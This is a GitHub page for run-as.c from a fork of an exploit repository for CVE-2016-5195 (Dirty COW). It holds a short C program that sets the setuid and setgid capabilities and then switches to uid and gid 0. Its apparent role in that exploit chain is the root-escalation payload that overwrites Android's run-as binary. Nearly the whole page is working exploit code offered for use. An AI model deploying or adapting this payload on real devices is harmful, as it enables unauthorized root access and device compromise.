forked from timwr/CVE-2016-5195
-
Notifications
You must be signed in to change notification settings - Fork 0
/
run-as.c
29 lines (24 loc) · 921 Bytes
/
run-as.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <unistd.h>
#include <stdio.h>
#include <sys/capability.h>
int main(int argc, char **argv)
{
struct __user_cap_header_struct capheader;
struct __user_cap_data_struct capdata[2];
printf("running as uid %d\n", getuid());
memset(&capheader, 0, sizeof(capheader));
memset(&capdata, 0, sizeof(capdata));
capheader.version = _LINUX_CAPABILITY_VERSION_3;
capdata[CAP_TO_INDEX(CAP_SETUID)].effective |= CAP_TO_MASK(CAP_SETUID);
capdata[CAP_TO_INDEX(CAP_SETGID)].effective |= CAP_TO_MASK(CAP_SETGID);
capdata[CAP_TO_INDEX(CAP_SETUID)].permitted |= CAP_TO_MASK(CAP_SETUID);
capdata[CAP_TO_INDEX(CAP_SETGID)].permitted |= CAP_TO_MASK(CAP_SETGID);
if (capset(&capheader, &capdata[0]) < 0) {
printf("Could not set capabilities: %s\n", strerror(errno));
}
if(setresgid(0,0,0) || setresuid(0,0,0)) {
printf("setresgid/setresuid failed\n");
}
printf("uid %d\n", getuid());
return 0;
}